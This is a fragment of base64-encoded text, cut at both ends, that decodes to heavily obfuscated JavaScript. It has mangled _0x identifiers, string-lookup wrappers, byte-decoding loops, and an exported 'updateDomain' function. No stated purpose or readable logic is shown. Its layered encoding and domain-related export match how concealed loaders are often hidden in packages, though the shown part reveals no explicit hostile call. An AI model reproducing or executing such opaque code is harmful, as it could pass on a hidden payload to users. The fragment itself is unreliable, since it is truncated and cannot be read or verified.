zB4MzcxZDU4LF8weDU0MmE0NCxfMHg0ZGZlODAsXzB4Mzk2MjQ4LF8weDNkODU4ZSl7cmV0dXJuIF8weDIyNWJhMShfMHgzOTYyNDgsXzB4NTQyYTQ0LTB4M2UsXzB4M2Q4NThlLTB4MWIxLF8weDM5NjI0OC0weGUsXzB4M2Q4NThlLTB4NDMpO31mdW5jdGlvbiBfMHg0NDVmZDUoXzB4MzMxN2Q0LF8weDNlOWU1MCxfMHgxZTZlMTQsXzB4MWJhMjFhLF8weDUxZTJjMyl7cmV0dXJuIF8weGZiODFiZShfMHgzMzE3ZDQtMHhiNCxfMHgxYmEyMWEsXzB4MWU2ZTE0LTB4YzUsXzB4MWJhMjFhLTB4MTE5LF8weDFlNmUxNC0gLTB4NGUxKTt9ZnVuY3Rpb24gXzB4NDkyMDBjKF8weDQ5NzNlZixfMHhlNGZiZjEsXzB4MTUzMTY1LF8weDMwYjVhNixfMHgzOThkMWQpe3JldHVybiBfMHgyMjViYTEoXzB4NDk3M2VmLF8weGU0ZmJmMS0weDFkLF8weDMwYjVhNi0gLTB4M2Y0LF8weDMwYjVhNi0weGUwLF8weDM5OGQxZC0weDE2Nik7fWZ1bmN0aW9uIF8weDUzODYxNyhfMHg0MGQzNDcsXzB4NTVlYWMxLF8weDFhN2FhZCxfMHg0ZTdhMTgsXzB4NmJkNTYzKXtyZXR1cm4gXzB4NTg2NzJmKF8weDU1ZWFjMSxfMHg1NWVhYzEtMHgxNWQsXzB4NGU3YTE4LTB4MmM1LF8weDRlN2ExOC0weDRkLF8weDZiZDU2My0weDJmKTt9ZnVuY3Rpb24gXzB4MjUyZjg5KF8weDI5YTEzYyxfMHgyOTcwMjcsXzB4NDM5YzMyLF8weDI0YzkyZSxfMHg5N2RlMjcpe3JldHVybiBfMHgyMjViYTEoXzB4Mjk3MDI3LF8weDI5NzAyNy0weDM4LF8weDI0YzkyZS0gLTB4ZTMsXzB4MjRjOTJlLTB4YWMsXzB4OTdkZTI3LTB4YjcpO31pZihfMHg1YWQ1NjdbXzB4NDQ1ZmQ1KDB4MTQyLDB4YjcsMHhlLCdSJWt3JywweDEyMyldKF8weDVhZDU2N1tfMHgyODc2MzYoMHg0YjAsMHg0MWUsMHgzMzEsJ2k3NVAnLDB4MzlhKV0sXzB4NWFkNTY3W18weDQ5MjAwYygnUEAhKicsMHg0YSwtMHgzMiwtMHhkMywtMHgzNCldKSlyZXR1cm4gXzB4OTUwM2RlW18weDQ4NWY4ZF07ZWxzZXt2YXIgXzB4NWQ0NGVmLF8weDU4YmJjMCxfMHg1NzM2Y2U7aWYoXzB4NWFkNTY3W18weDQ5MjAwYygnW3gjVicsLTB4MjUzLC0weDhkLC0weDFhNCwtMHgxYTApXSgtMHgyNjQ5KzB4MioweDk1OCsweDEzOTksXzB4ZTA1MzQ1W18weDI4NzYzNigweDM1MCwweDJhMywweDRlMCwnN2F6TCcsMHgzZWIpKydoJ10pKXJldHVybicnO2ZvcihfMHg5ZmQ0M2Q9dm9pZCgweDMqMHg1ODgrMHg2NWUqLTB4MistMHgzZGMpLF8weDU3MzZjZT12b2lkKC0weDI1ZWUrLTB4MSoweDE1NzUrMHgzYjYzKSxfMHg1OGJiYzA9Wy0weDcqMHgyNmYrMHhhOGMrMHg2N2RdLF8weDlmZDQzZD0tMHgxYmI4KzB4NDExKi0weDErMHgxKjB4MWZjOTtfMHg1YWQ1NjdbXzB4NTM4NjE3KDB4MWVlLCddZ2ZBJywweDJkYSwweDFkZSwweGZlKV0oXzB4OWZkNDNkLF8weGUwNTM0NVtfMHgyNTJmODkoMHhjZiwnWnBDcScsMHgyMzgsMHgyMDgsMHgxZWQpKydoJ10pOyl7aWYoXzB4NWFkNTY3W18weDQ0NWZkNSgtMHhhNywweDJlLC0weGZjLCckbTJFJywtMHgxZGUpXShfMHg1YWQ1NjdbXzB4NTM4NjE3KDB4MjBmLCdZayE2JywweDM5YywweDMyMiwweDFlOCldLF8weDVhZDU2N1tfMHg0NDVmZDUoLTB4MzYsMHhhMywtMHgzNCwnZmFdcCcsLTB4NGEpXSkpcmV0dXJuISgweDUyYSoweDQrMHgxYWRkKjB4MSstMHgyZjg0KTtlbHNle2ZvcihfMHg1NzM2Y2U9LTB4MWI2Ki0weDEwKy0weDEqMHgxYmVkKzB4OGQ7XzB4NWFkNTY3W18weDQ5MjAwYygnWWshNicsLTB4MTBjLDB4MSwtMHhmNSwtMHgyMjEpXShfMHg1NzM2Y2UsXzB4NThiYmMwW18weDUzODYxNygweDJmNiwnN2F6TCcsMHgxYjksMHgyOTYsMHgzYTYpKydoJ10pOylfMHg1OGJiYzBbXzB4NTczNmNlXTw8PS0weDFkMzMrLTB4ODZlKi0weDIrMHhjNWYsXzB4NTczNmNlKys7Zm9yKF8weDU4YmJjMFsweDEwN2MqLTB4MisweDY1ZCsweDhiKjB4MzFdKz1fMHhlMDUzNDVbXzB4OWZkNDNkXSxfMHg1ZDQ0ZWY9LTB4MSoweDlkKy0weDc4OSoweDErMHg4MjYsXzB4NTczNmNlPTB4MyotMHg3ZWYrLTB4NCotMHg0NjYrMHg2MzU7XzB4NWFkNTY3W18weDQ5MjAwYygnUEAhKicsMHg3OSwtMHg4YSwtMHhhNSwweGEyKV0oXzB4NTczNmNlLF8weDU4YmJjMFtfMHg1Mzg2MTcoMHg1NzIsJ1R0N3InLDB4NTc4LDB4NDM5LDB4NGJlKSsnaCddKTspXzB4NThiYmMwW18weDU3MzZjZV0rPV8weDVkNDRlZixfMHg1ZDQ0ZWY9XzB4NWFkNTY3W18weDUzODYxNygweDU2YywncFQ3RCcsMHg0MDUsMHg0MjUsMHgyZTgpXShfMHg1YWQ1NjdbXzB4Mjg3NjM2KDB4MzZjLDB4NGU3LDB4MmJkLCd4bTFnJywweDNiNCldKF8weDU4YmJjMFtfMHg1NzM2Y2VdLC0weDZmMCsweDE3KjB4Y2IrLTB4YjEzKSwweDE2N2ErMHgxOTkqMHgyKzB4M2UqLTB4NmEpLF8weDU4YmJjMFtfMHg1NzM2Y2VdJT0tMHgyMmNjKzB4NyoweDRlOSstMHhhNyotMHgxLCsrXzB4NTczNmNlO2Zvcig7XzB4NWQ0NGVmOylfMHg1OGJiYzBbXzB4MjUyZjg5KDB4MmI2LCdYKHJ0JywweDEyZSwweDFiYiwweDIwYSldKF8weDVhZDU2N1tfMHgyODc2MzYoMHg1OWQsMHg0NTQsMHg1OWMsJ2NeXkAnLDB4NDgyKV0oXzB4NWQ0NGVmLDB4MioweGM5YistMHgxOWUyKzB4ZTYqMHgxKSksXzB4NWQ0NGVmPV8weDVhZDU2N1tfMHg0OTIwMGMoJ0MkeVAnLC0weDEwMiwtMHgxNjUsLTB4MjI5LC0weGU5KV0oXzB4NWFkNTY3W18weDQ5MjAwYygnJl5vaicsLTB4MjE1LC0weDkwLC0weGYzLDB4MSldKF8weDVkNDRlZiwtMHgxYiotMHg3NistMHgyMjkrLTB4MjAzKjB4NSksMHgxKjB4MWY5NysweDE0ZmErMHgxKi0weDM0OTEpO18weDlmZDQzZCsrO319Zm9yKF8weDlmZDQzZD0tMHgyKi0weDE0ZSstMHgzKi0weDk5ZCstMHgxZjczO18weDVhZDU2N1tfMHg1Mzg2MTcoMHgyMWMsJ3Y0T3gnLDB4MjZhLDB4MzUwLDB4NDFjKV0oMHg5MWYqMHgxKzB4MWMzKjB4MistMHhjYTUsXzB4ZTA1MzQ1W18weDlmZDQzZF0pJiZfMHg1YWQ1NjdbXzB4NDkyMDBjKCdoZHMjJywtMHgxNDAsLTB4MWEwLC0weDEzZSwtMHhhNSldKF8weDlmZDQzZCxfMHg1YWQ1NjdbXzB4NDkyMDBjKCdDJHlQJywtMHgyYjIsLTB4MzUyLC0weDIyZiwtMHgzNjIpXShfMHhlMDUzNDVbXzB4NDkyMDBjKCdOITgxJywtMHgyNDAsLTB4MWZjLC0weDI1YiwtMHgxNDMpKydoJ10sLTB4MyotMHhjZWQrMHg3KjB4MzEzKy0weDNjNGIpKTspXzB4NThiYmMwW18weDI4NzYzNigweDQ4NiwweDYwYywweDRkMCwneFNVNCcsMHg1N2IpXSgtMHgyM2JlKy0weDRiOCoweDMrLTB4MThmMyotMHgyKSxfMHg5ZmQ0M2QrKztyZXR1cm4gXzB4NThiYmMwW18weDI4NzYzNigweDJhMCwweDI1NCwweDM5MSwnUlMwTycsMHgzMGIpKydzZSddKClbXzB4NDQ1ZmQ1KC0weDE1ZSwtMHgxM2MsLTB4MjAsJ3Y0T3gnLC0weDEwZCldKGZ1bmN0aW9uKF8weDU1MTA2OCl7ZnVuY3Rpb24gXzB4MjNjMmI5KF8weDI1YmI5ZSxfMHg1M2QwMTEsXzB4NDg5ZGQ0LF8weDNmYWU5ZSxfMHgzM2NhM2Mpe3JldHVybiBfMHgyNTJmODkoXzB4MjViYjllLTB4MTIzLF8weDQ4OWRkNCxfMHg0ODlkZDQtMHhmMyxfMHgyNWJiOWUtMHgzYTUsXzB4MzNjYTNjLTB4YzkpO31mdW5jdGlvbiBfMHgzNDFlYjMoXzB4NWM3MDgwLF8weDVjYmEyZSxfMHgxZjMzYWYsXzB4OGFlNmYxLF8weDMxOGU1ZCl7cmV0dXJuIF8weDQ0NWZkNShfMHg1YzcwODAtMHhkNCxfMHg1Y2JhMmUtMHgxOTksXzB4NWNiYTJlLTB4NTBmLF8weDMxOGU1ZCxfMHgzMThlNWQtMHg1NSk7fWZ1bmN0aW9uIF8weDE2YThhMihfMHg1Mzc3ZjcsXzB4MWVlODFhLF8weGM2MzZhOCxfMHgyYzAwYjIsXzB4NDczZTBiKXtyZXR1cm4gXzB4NDQ1ZmQ1KF8weDUzNzdmNy0weDUwLF8weDFlZTgxYS0weDU5LF8weDQ3M2UwYi0weDNlOSxfMHgyYzAwYjIsXzB4NDczZTBiLTB4NDcpO31jb25zdCBfMHgyMTg3MzA9eydlZERPQic6ZnVuY3Rpb24oXzB4MWNhY2VlLF8weDFhN2E4Yil7ZnVuY3Rpb24gXzB4NWJmOGVmKF8weDI4YjNkMCxfMHgzMWIyODcsXzB4NWY1NTdmLF8weGQ1YmJmZixfMHg0OTZjYzUpe3JldHVybiBfMHgyM2M2KF8weDI4YjNkMC0weDI1OSxfMHhkNWJiZmYpO31yZXR1cm4gXzB4NWFkNTY3W18weDViZjhlZigweDM5NSwweDQ0NywweDNkYywnWWshNicsMHgzYTkpXShfMHgxY2FjZWUsXzB4MWE3YThiKTt9fTtmdW5jdGlvbiBfMHgxZjkyMDkoXzB4MzU4MzM1LF8weDk0YzhkMCxfMHhlZjcxY2YsXzB4NTExNzc0LF8weDJiZDlmNCl7cmV0dXJuIF8weDUzODYxNyhfMHgzNTgzMzUtMHgxYzMsXzB4ZWY3MWNmLF8weGVmNzFjZi0weDEyNixfMHg5NGM4ZDAtIC0weDRkMyxfMHgyYmQ5ZjQtMHgxZGQpO31mdW5jdGlvbiBfMHg0ODA3MWIoXzB4ZDk5MGU1LF8weDFjZmQ5OSxfMHgyZTA0ZDIsXzB4MjRiODU4LF8weDMyNmQwMil7cmV0dXJuIF8weDUzODYxNyhfMHhkOTkwZTUtMHg1YyxfMHgyNGI4NTgsXzB4MmUwNGQyLTB4NDcsXzB4MmUwNGQyLTB4MTg2LF8weDMyNmQwMi0weGZkKTt9cmV0dXJuIF8weDVhZDU2N1tfMHgyM2MyYjkoMHg2MDEsMHg1MjgsJ2hkcyMnLDB4NzI2LDB4NmI5KV0oXzB4NWFkNTY3W18weDM0MWViMygweDQ2ZiwweDRhZCwweDRmNSwweDRlMCwnbTFNYycpXSxfMHg1YWQ1NjdbXzB4MWY5MjA5KC0weDIyMSwtMHgyMTMsJ0BqRE0nLC0weGUyLC0weGQ2KV0pP18weDIxODczMFtfMHgzNDFlYjMoMHg1MDcsMHg0YTcsMHg0N2IsMHg0ZDcsJ2NeXkAnKV0oXzB4MTgxOGY4LF8weDUzMjc1NFtfMHgxNmE4YTIoMHg2MWQsMHgzY2MsMHg1NTUsJ3VlVzYnLDB4NGQ2KStfMHgxZjkyMDkoLTB4MjMzLC0weGZhLCdqUVp2JywtMHgxYjIsMHg0MykrJ2RlJ10oLi4uXzB4MTE4OGU1KSk6XzB4NDQ0N2YxW18weDU1MTA2OF07fSlbXzB4NDQ1ZmQ1KDB4ZTQsMHhkZCwweGZlLCdwVDdEJywweDcpXSgnJyk7fX0sXzB4MzU4Nzg5W18weDEyMjJlZCgweDIzMywweDI1MCwweDE2MCwnMSR3WCcsMHgyZTIpKydlJ109ZnVuY3Rpb24oXzB4NTZlZTI1KXtmdW5jdGlvbiBfMHgzMTFhNGMoXzB4YzlmMDRiLF8weDFmYWJmYSxfMHgxMGQzZmQsXzB4NGMxZGQyLF8weDM1Zjk2MCl7cmV0dXJuIF8weDJkNWM1MShfMHgzNWY5NjAtIC0weDRmLF8weDFmYWJmYS0weDEzNCxfMHgxMGQzZmQsXzB4NGMxZGQyLTB4MTEwLF8weDM1Zjk2MC0weDI1KTt9ZnVuY3Rpb24gXzB4ZDdhMWIyKF8weDEyY2Q0OCxfMHg1ZDkxOWUsXzB4NTRmYTdjLF8weDNhMTFhMixfMHg0NGUyMTIpe3JldHVybiBfMHgxMjIyZWQoXzB4MTJjZDQ4LTB4MTMwLF8weDEyY2Q0OC0weDNmYyxfMHg1NGZhN2MtMHhiOSxfMHg1NGZhN2MsXzB4NDRlMjEyLTB4NmQpO31mdW5jdGlvbiBfMHg5YWEwOTYoXzB4MmEwMTZkLF8weDE4MzM0ZCxfMHgxMDUwZTIsXzB4MWU1MzMxLF8weDVmMWVkYil7cmV0dXJuIF8weDIyNWJhMShfMHgyYTAxNmQsXzB4MTgzMzRkLTB4MTExLF8weDFlNTMzMS0gLTB4MzNiLF8weDFlNTMzMS0weDI0LF8weDVmMWVkYi0weDFlNSk7fWZ1bmN0aW9uIF8weDNkMzE5OShfMHgxNDlmYjMsXzB4Mzg0ZWE2LF8weDU2ODZlOSxfMHgxNDVlM2MsXzB4NDVmZDU2KXtyZXR1cm4gXzB4MTIyMmVkKF8weDE0OWZiMy0weDhiLF8weDE0OWZiMy0weDNjYixfMHg1Njg2ZTktMHgyYSxfMHg0NWZkNTYsXzB4NDVmZDU2LTB4NGQpO31mdW5jdGlvbiBfMHhiYmJhYjQoXzB4NDZlYWZlLF8weDFjMTk4ZixfMHgxY2IzYzEsXzB4MTQwYjIxLF8weDE5OGQyNSl7cmV0dXJuIF8weDEyMjJlZChfMHg0NmVhZmUtMHg2MyxfMHgxY2IzYzEtIC0weDE5NSxfMHgxY2IzYzEtMHg2YixfMHgxYzE5OGYsXzB4MTk4ZDI1LTB4YWYpO31pZihfMHg1YWQ1NjdbXzB4YmJiYWI0KC0weGQyLCdSUzBPJywtMHg3YiwweDdhLC0weDE5OSldKF8weDVhZDU2N1tfMHhiYmJhYjQoLTB4Y2EsJzEkd1gnLC0weDE1NywtMHgxYWMsLTB4NTQpXSxfMHg1YWQ1NjdbXzB4YmJiYWI0KDB4MjMsJ20xTWMnLDB4NzEsLTB4MjQsMHg1OSldKSlyZXR1cm4gXzB4M2Q2MzgzW18weDlhYTA5NignQyR5UCcsMHg3OCwtMHhkMiwtMHg3MSwtMHgxMDApXShfMHhhNmI4NmNbXzB4ZDdhMWIyKDB4NmE3LDB4NmRmLCdlKUhKJywweDcwMCwweDdkZCkrJ2dlJ10pLCEoMHhmKi0weDdlKy0weGU1KjB4MTArMHgxZjkqMHhiKTtlbHNle3ZhciBfMHgzMmJhMzIsXzB4NDIzNTEzLF8weDI3ZmY4MCxfMHg0OTlkZmQ7aWYoXzB4NWFkNTY3W18weGQ3YTFiMigweDQ3MSwweDRiNiwndWYoKicsMHg1NzYsMHg1ODgpXSgweDEwOTMqLTB4MSsweDE3NmYrLTB4NmRjLF8weDU2ZWUyNVtfMHhiYmJhYjQoLTB4ODcsJ3QpNV0nLC0weDExMywtMHg0YSwtMHgyMDQpKydoJ10pKXJldHVybiBuZXcoKF8weDVhZDU2N1tfMHg5YWEwOTYoJ1d5S0InLC0weDE1ZSwtMHhmYywtMHgxNWUsLTB4MWJkKV0oXzB4NWFkNTY3W18weGJiYmFiNCgweDEyYywnW3gjVicsMHg4LDB4ZTAsLTB4MTAyKV0sdHlwZW9mIFVpbnQ4QXJyYXkpKSYmKF8weDVhZDU2N1tfMHgzMTFhNGMoLTB4MjU4LC0weGM2LCd5W2hbJywtMHg1YywtMHgxMzEpXShudWxsLFVpbnQ4QXJyYXkpKT9VaW50OEFycmF5OkJ1ZmZlcikoMHgyYyotMHgzMystMHg3Ki0weDgzKzB4NTJmKTtmb3IoXzB4OWZkNDNkPXZvaWQoLTB4NCotMHg2MzcrLTB4MyotMHg0YjYrLTB4MjZmZSksXzB4NDk5ZGZkPXZvaWQoLTB4YiotMHgzOGQrMHgzYjMrLTB4MmFjMiksXzB4MzJiYTMyPVsweDE0MWErLTB4MTZmMyoweDErMHg1MSoweDldLF8weDlmZDQzZD0weDE3YzkqMHgxKy0weDFlNGMrMHgxKjB4NjgzO18weDVhZDU2N1tfMHhiYmJhYjQoMHgxODksJyRtMkUnLDB4NzksMHgxOTEsLTB4MjYpXShfMHg5ZmQ0M2QsXzB4NTZlZTI1W18weDMxMWE0YygtMHgyN2YsLTB4Mjg4LCdDJHlQJywtMHgxYTQsLTB4Mjc3KSsnaCddKTspe2lmKF8weDVhZDU2N1tfMHgzMTFhNGMoLTB4MzA0LC0weDIyOCwnJl5vaicsLTB4MTg2LC0weDFlZCldKF8weDVhZDU2N1tfMHg5YWEwOTYoJ0x1ckQnLDB4MTI2LDB4M2YsMHg3MywweDE1MSldLF8weDVhZDU2N1tfMHhkN2ExYjIoMHg2MjgsMHg1ZDcsJzZGMiMnLDB4NzY5LDB4NWJlKV0pKXtjb25zdCBfMHgxYTU2ZGQ9XzB4NWFkNTY3W18weGJiYmFiNCgtMHhiZiwnZmFdcCcsLTB4MTJjLC0weDFiNCwtMHgxYjApXVtfMHgzMTFhNGMoLTB4MWEzLC0weDFhZiwnaTc1UCcsLTB4Mjk2LC0weDIzMyldKCd8Jyk7bGV0IF8weDQzNjgxYz0weDFiNGIrMHgxOSotMHhlKy0weDE5ZWQ7d2hpbGUoISFbXSl7c3dpdGNoKF8weDFhNTZkZFtfMHg0MzY4MWMrK10pe2Nhc2UnMCc6aWYoIV8weDVhZDU2N1tfMHhkN2ExYjIoMHg0MjEsMHg0NTYsJ04hODEnLDB4NDQ5LDB4MmZjKV0oXzB4NDIzNTEzPV8weDU2ZWUyNVtfMHg5ZmQ0M2RdLF8weDRhNzc0OCkpdGhyb3cgXzB4NWFkNTY3W18weDlhYTA5NignY15eQCcsLTB4ODMsMHgxYzAsMHhhNiwweDFkKV0oXzB4NWFkNTY3W18weDlhYTA5NignWChydCcsMHgxZiwtMHgxNGUsLTB4YzMsMHgzOCldKF8weDVhZDU2N1tfMHg5YWEwOTYoJ1pwQ3EnLC0weDI1NywtMHhkNSwtMHgxODgsLTB4NzgpXSxfMHg0MjM1MTMpLF8weDVhZDU2N1tfMHgzZDMxOTkoMHg2NDQsMHg3M2QsMHg2YmQsMHg2NzEsJ04hODEnKV0pO2NvbnRpbnVlO2Nhc2UnMSc6Zm9yKF8weDMyYmEzMlstMHgxMzA0Ki0weDErLTB4MSoweGM5MSstMHg2NzNdKz1fMHg0YTc3NDhbXzB4NDIzNTEzXSxfMHgyN2ZmODA9LTB4YjErLTB4MSoweGY2ZCsweDEwMWUsXzB4NDk5ZGZkPS0weGYqLTB4MjlhKzB4MyotMHg0MTYrLTB4MWFjNDtfMHg1YWQ1NjdbXzB4YmJiYWI0KDB4MTE5LCd5W2hbJywweDFlLC0weDExYSwweDcwKV0oXzB4NDk5ZGZkLF8weDMyYmEzMltfMHhkN2ExYjIoMHg1Y2UsMHg0OTAsJ0RDYyonLDB4NDk2LDB4NjBjKSsnaCddKTspXzB4MzJiYTMyW18weDQ5OWRmZF0rPV8weDI3ZmY4MCxfMHgyN2ZmODA9XzB4NWFkNTY3W18weDMxMWE0YygtMHgxMWYsLTB4ODIsJzdhekwnLDB4NjEsLTB4Y2MpXShfMHgzMmJhMzJbXzB4NDk5ZGZkXSwweDNiKi0weDQzKzB4MmI3Ky0weDJlKi0weDQ3KSxfMHgzMmJhMzJbXzB4NDk5ZGZkXSY9MHgxMyotMHg0OSstMHgxMGJmKzB4MTcyOSwrK18weDQ5OWRmZDtjb250aW51ZTtjYXNlJzInOl8weDlmZDQzZCsrO2NvbnRpbnVlO2Nhc2UnMyc6Zm9yKF8weDQ5OWRmZD0tMHgyKjB4ZDk0KzB4MWYzNyoweDErLTB4NDBmKjB4MTtfMHg1YWQ1NjdbXzB4M2QzMTk5KDB4NThhLDB4NGZjLDB4NjAzLDB4NTQ1LCd1ZVc2JyldKF8weDQ5OWRmZCxfMHgzMmJhMzJbXzB4YmJiYWI0KDB4MTY3LCdtMU1jJywweGQ4LC0weDQsMHgzOCkrJ2gnXSk7KV8weDMyYmEzMltfMHg0OTlkZmRdKj0tMHgyODkrMHhmYiotMHgyMSstMHgxKi0weDIzMWUsXzB4NDk5ZGZkKys7Y29udGludWU7Y2FzZSc0Jzpmb3IoO18weDI3ZmY4MDspXzB4MzJiYTMyW18weGJiYmFiNCgtMHg1LCd4bTFnJywtMHgxMTYsLTB4YWUsLTB4MjJjKV0oXzB4NWFkNTY3W18weDMxMWE0YygtMHgxZiwweDRlLCdpNzVQJywtMHhkNSwtMHg1MCldKC0weDEqLTB4MTRhNysweDFjYzcrMHgzMDZmKi0weDEsXzB4MjdmZjgwKSksXzB4MjdmZjgwPj49MHgxNDdkKy0weDFlZTQrMHhhNmY7Y29udGludWU7fWJyZWFrO319ZWxzZXtjb25zdCBfMHgxZDc0NGU9XzB4NWFkNTY3W18weDlhYTA5NignJG0yRScsLTB4MWY2LC0weDE5MCwtMHgxNDgsLTB4Y2YpXShfMHgxZmQyNWEsXzB4MzY1MWVlKSxfMHg0YjA3Njg9bmV3IF8weGU2Y2M0NyhfMHgxZDc0NGVbXzB4M2QzMTk5KDB4NjJlLDB4NjA1LDB4NWY5LDB4NWE3LCdVM1pFJykrJ2gnXSk7Zm9yKGxldCBfMHg0ZmUyODU9MHgxKi0weDdhKy0weDgzNSoweDErLTB4MjcqLTB4Mzk7XzB4NWFkNTY3W18weDNkMzE5OSgweDVkNiwweDZmYywweDY0OCwweDUwOCwnY15eQCcpXShfMHg0ZmUyODUsXzB4MWQ3NDRlW18weGJiYmFiNCgweGQsJzZGMiMnLDB4MWYsLTB4ZGQsMHgxNSkrJ2gnXSk7XzB4NGZlMjg1KyspXzB4NGIwNzY4W18weDRmZTI4NV09XzB4MWQ3NDRlW18weGJiYmFiNCgweDY4LCdjXl5AJywtMHgzMywweGM0LC0weDY3KStfMHhkN2ExYjIoMHg1NGYsMHg1NGQsJ3QpNV0nLDB4NTAyLDB4NWYxKV0oXzB4NGZlMjg1KTtyZXR1cm4gXzB4NGIwNzY4O319Zm9yKF8weDlmZDQzZD0tMHgzM2UrLTB4MjFiNisweDI0ZjQ7XzB4NWFkNTY3W18weGJiYmFiNCgtMHgxMDcsJ0Z0RHEnLC0weDU2LDB4NTMsLTB4MTc4KV0oJzEnLF8weDU2ZWUyNVtfMHg5ZmQ0M2RdKSYmXzB4NWFkNTY3W18weDNkMzE5OSgweDQzYSwweDNiNywweDU0NSwweDM5YiwncWlWSicpXShfMHg5ZmQ0M2QsXzB4NWFkNTY3W18weGQ3YTFiMigweDY2MCwweDZhNCwncFQ3RCcsMHg2MWEsMHg3ODMpXShfMHg1NmVlMjVbXzB4MzExYTRjKC0weDE0OCwtMHg4NCwnZmFdcCcsLTB4MTksLTB4YzgpKydoJ10sMHgxM2IrLTB4MioweDEzZSstMHgyKi0weGExKSk7KV8weDMyYmEzMltfMHhiYmJhYjQoLTB4MTlmLCd0KTVdJywtMHgxMzgsLTB4MjU1LC0weGE2KV0oLTB4ZmQqLTB4NysweDhiOCstMHgxKjB4ZmEzKSxfMHg5ZmQ0M2QrKztyZXR1cm4gbmV3KChfMHg1YWQ1NjdbXzB4MzExYTRjKC0weDIyZiwtMHgyODcsJ3AmYk0nLC0weDFmMSwtMHgxNjkpXShfMHg1YWQ1NjdbXzB4YmJiYWI0KDB4ZWYsJ2RiNFYnLC0weDNkLC0weGM3LC0weGFmKV0sdHlwZW9mIFVpbnQ4QXJyYXkpKSYmKF8weDVhZDU2N1tfMHg5YWEwOTYoJ1d5S0InLC0weDFiNCwweDRlLC0weDk1LC0weDEyNSldKG51bGwsVWludDhBcnJheSkpP1VpbnQ4QXJyYXk6QnVmZmVyKShfMHgzMmJhMzJbXzB4ZDdhMWIyKDB4NGFiLDB4M2U1LCdmQTM1JywweDRhZCwweDRlNikrJ3NlJ10oKSk7fX07fVtfMHgxMjgwOTcoLTB4M2EsJzdhekwnLC0weDEwNiwtMHhhNSwtMHhjNyldKHRoaXMpKTtmdW5jdGlvbiBfMHg1NzhhZDQoXzB4NDMxNTkxLF8weDIwZjQ5ZSxfMHg0NzU2MzIsXzB4MTkxYTdhLF8weDRmOWQ3Yil7cmV0dXJuIF8weDIzYzYoXzB4NDMxNTkxLSAtMHg4OSxfMHgxOTFhN2EpO31leHBvcnQgY29uc3QgdXBkYXRlRG9tYWluPSgpPT5uZXcgUHJvbWlzZShhc3luYyBfMHgzN2Y1NzA9PntmdW5jdGlvbiBfMHg0NjY4NDIoXzB4M2VhNGI4LF8weDQ5ZTZjNSxfMHgxYjVkN2EsXzB4M2RhNjRjLF8weDRjNWRjYyl7cmV0dXJuIF8weDVmYTE2YShfMHgzZGE2NGMtMHgyMWMsXzB4NDllNmM1LTB4MTg1LF8weDFiNWQ3YS0weDFlZixfMHg0OWU2YzUsXzB4NGM1ZGNjLTB4ZTEpO31mdW5jdGlvbiBfMHg1OTY0ZTcoXzB4MzhhMzhhLF8weDI0NWVkYyxfMHhmMDRjYTUsXzB4NDNkMzU5LF8weDUzOGQ2Nyl7cmV0dXJuIF8weGE0ZGM1YihfMHgzOGEzOGEtMHgxN2EsXzB4MjQ1ZWRjLF8weDQzZDM1OS0weDIwNixfMHg0M2QzNTktMHg3YixfMHg1MzhkNjctMHhlYSk7fWNvbnN0IF8weDI0Yzc3Nj17J0Rla0p2JzpmdW5jdGlvbihfMHgxNDgxZGEsXzB4ZGFhODUxKXtyZXR1cm4gXzB4MTQ4MWRhPF8weGRhYTg1MTt9LCdra3FpaCc6ZnVuY3Rpb24oXzB4MTk5NTA2LF8weDNkZGRkMil7cmV0dXJuIF8weDE5OTUwNjxfMHgzZGRkZDI7fSwnQ3dkbUUnOmZ1bmN0aW9uKF8weDE3NGI1MSxfMHg1NThjMTApe3JldHVybiBfMHgxNzRiNTF8XzB4NTU4YzEwO30sJ3lvSm9QJzpmdW5jdGlvbihfMHgyY2MxNTEsXzB4Mjk3OTAxKXtyZXR1cm4gXzB4MmNjMTUxL18weDI5NzkwMTt9LCdvQnBUbCc6ZnVuY3Rpb24oXzB4MWFmOTc5LF8weDRhMjNlYyl7cmV0dXJuIF8weDFhZjk3OSVfMHg0YTIzZWM7fSwnWE96S3YnOmZ1bmN0aW9uKF8weDM2ZGE2MyxfMHgyMzMyMDUpe3JldHVybiBfMHgzNmRhNjMhPT1fMHgyMzMyMDU7fSwnZlNNdUonOl8weDJjZGZhZigweDFhLCcxJHdYJywweDllLC0weDEzMywtMHg4ZiksJ0xLUGdyJzpfMHgyY2RmYWYoLTB4MzAyLCdAakRNJywtMHgyMDksLTB4MzA1LC0weDI2OCksJ1dTZUx2JzpmdW5jdGlvbihfMHgxYzUwMmUsXzB4NDQ0NjMxKXtyZXR1cm4gXzB4MWM1MDJlIT09XzB4NDQ0NjMxO30sJ1ZmZ1duJzpfMHgyY2RmYWYoLTB4M2FjLCdwJmJNJywtMHgxNzIsLTB4MjlmLC0weDJhMyksJ3JoaEtkJzpmdW5jdGlvbihfMHgxNDQyNDEsXzB4NTE3YWYyKXtyZXR1cm4gXzB4MTQ0MjQxPT09XzB4NTE3YWYyO30sJ0FuSlJIJzpfMHhkNzBmMjAoMHgxMjQsMHgxOGMsJzZGMiMnLDB4MjBiLDB4MjJhKSwnV0N4bEEnOmZ1bmN0aW9uKF8weDI4MWQzNSxfMHhkMzAwYWIpe3JldHVybiBfMHgyODFkMzUoXzB4ZDMwMGFiKTt9LCdRR2lyeSc6ZnVuY3Rpb24oXzB4MTI2MGM1LF8weDcyZjBiYil7cmV0dXJuIF8weDEyNjBjNSE9XzB4NzJmMGJiO30sJ2hVdXl5JzpmdW5jdGlvbihfMHg0OGI1NjApe3JldHVybiBfMHg0OGI1NjAoKTt9LCd6ZWtmeCc6ZnVuY3Rpb24oXzB4MzIzNzQ4LF8weDNmZDEzOCl7cmV0dXJuIF8weDMyMzc0ODxfMHgzZmQxMzg7fSwnQmVGcXcnOmZ1bmN0aW9uKF8weDRkNGNjOSxfMHgzZDFhZTUpe3JldHVybiBfMHg0ZDRjYzk9PV8weDNkMWFlNTt9LCdQYVF0Sic6ZnVuY3Rpb24oXzB4MzYyMjBhKXtyZXR1cm4gXzB4MzYyMjBhKCk7fSwncWdYVlQnOmZ1bmN0aW9uKF8weDU1ZmIyMSxfMHg0NWRlYjUpe3JldHVybiBfMHg1NWZiMjEhPV8weDQ1ZGViNTt9LCdxVE1ZRCc6XzB4NTk2NGU3KDB4MTFlLCc3YXpMJywweGQzLDB4NmYsMHhhMCksJ0RIR0FxJzpmdW5jdGlvbihfMHgyNzMwNDMsXzB4MjM0NTU2KXtyZXR1cm4gXzB4MjczMDQzK18weDIzNDU1Njt9LCdtc2R0Ric6ZnVuY3Rpb24oXzB4NWFjMzljLF8weDRkZjJmOSl7cmV0dXJuIF8weDVhYzM5YytfMHg0ZGY